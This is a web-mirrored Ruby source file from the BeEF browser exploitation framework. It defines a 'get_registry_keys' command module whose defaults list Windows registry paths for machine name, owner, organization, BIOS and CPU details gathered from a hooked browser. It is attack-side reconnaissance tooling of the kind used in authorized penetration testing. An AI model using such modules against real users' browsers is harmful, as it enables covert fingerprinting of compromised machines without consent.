Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_registry_keys/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Get_registry_keys < BeEF::Core::Command
7
def self.options
8
[
9
{ 'name' => 'key_paths', 'ui_label' => 'Key(s)', 'description' => 'Enter registry keys. Note: each key requires its own line', 'type' => 'textarea', 'width' => '500px', 'height' => '350px', 'value' => 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemProductName
10
HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemManufacturer
11
HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\BIOSVersion
12
HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\BIOSReleaseDate
13
HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName
14
HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ActiveComputerName\\ComputerName
15
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\RegisteredOwner
16
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\RegisteredOrganization
17
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName
18
HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\\ProcessorNameString
19
HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\\Identifier' }
20
]
21
end
22
23
def post_execute
24
content = {}
25
content['result'] = @datastore['key_values'] unless @datastore['key_values'].nil?
26
content['fail'] = 'No data was returned.' if content.empty?
27
save content
28
end
29
end
30
31